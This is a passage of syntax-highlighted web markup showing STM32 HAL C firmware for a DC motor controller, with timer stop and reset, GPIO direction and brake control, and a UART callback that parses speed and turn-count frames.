class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重置各种参数。 防止下次启动时有上次残留的值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop Encoder tim 关闭解码器时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Encoder_Stop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop Time Control tim 关闭定时控制的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Base_Stop_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop the pwm tim 关闭pwm输出的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PWM_Stop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这个函数用来设定电机 正转/反转/不转/刹车\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里需要对照你的接线来设定,BIN1和BIN2对应的不同状态状态可以在驱动的说明中找到\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 同时也要对应好 屏幕设定的 复选框 发送的0/1对应的正反转\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e 1 foreward\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e 0 reversal\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e -1 stop\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e -2 brake\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_RxCpltCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUART_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这是HAL库提供的UART接收完成回调函数,当UART接收完成时,该函数会被自动调用。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 判断是哪个UART触发了回调,这里使用了单个UART1,可以根据实际情况进行扩展。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清除空闲中断标志位,UART通信中,空闲中断通常用于检测接收结束。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_CLEAR_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_CLEAR_IDLEF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 禁用UART发送中断,以防止在处理接收数据时发送数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_DISABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 检查接收到的数据是否符合预期的协议,如果传输中出错了,就直接跳过不执行,根据协议格式解析数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// -1 -2 -3\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFF\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFE\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFD\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 从接收到的数据中提取速度、圈数和模式信息。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003espeed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 检查速度和圈数是否都不为零,才需要转动。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003espeed\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 如果目标速度和位置都为零,则说明当前没有进行任何动作,可以开始新的动作。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设置目标速度和目标位置。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003espeed\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eEach_Circle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e 